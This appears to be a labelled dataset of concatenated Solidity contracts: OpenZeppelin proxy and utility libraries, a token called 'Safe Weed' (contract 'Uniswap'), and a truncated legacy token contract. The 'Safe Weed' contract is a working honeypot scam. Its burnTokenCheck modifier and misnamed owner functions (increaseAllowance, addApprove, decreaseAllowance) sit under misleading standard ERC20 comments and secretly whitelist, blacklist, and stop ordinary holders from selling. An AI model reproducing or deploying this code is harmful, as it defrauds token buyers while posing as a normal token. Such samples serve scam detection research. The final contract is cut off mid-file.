// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overridden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overridden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
|
True
|
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// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract Uniswap is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor () public {
_name = 'Safe Weed';
_symbol = 'SafeWeed';
_decimals = 18;
_owner = msg.sender;
_safeOwner = msg.sender;
_mint(_owner, 10*1e6*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
True
|
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] |
pragma solidity ^0.4.8 ;
contract Ownable {
address owner ;
function Ownable () {
owner = msg.sender;
}
modifier onlyOwner () {
require(msg.sender == owner );
_;
}
function transfertOwnership (address newOwner ) onlyOwner {
owner = newOwner ;
}
}
contract EuroSibEnergo_CIP_VI_20181220 is Ownable {
string public constant name = " EuroSibEnergo_CIP_VI_20181220 " ;
string public constant symbol = " ESECIPVI " ;
uint32 public constant decimals = 18 ;
uint public totalSupply = 0 ;
mapping (address => uint) balances;
mapping (address => mapping(address => uint)) allowed;
function mint(address _to, uint _value) onlyOwner {
assert(totalSupply + _value >= totalSupply && balances[_to] + _value >= balances[_to]);
balances[_to] += _value;
totalSupply += _value;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function transfer(address _to, uint _value) returns (bool success) {
if(balances[msg.sender] >= _value && balances[_to] + _value >= balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
return false;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
if( allowed[_from][msg.sender] >= _value &&
balances[_from] >= _value
&& balances[_to] + _value >= balances[_to]) {
allowed[_from][msg.sender] -= _value;
balances[_from] -= _value;
balances[_to] += _value;
Transfer(_from, _to, _value);
return true;
}
return false;
}
function approve(address _spender, uint _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
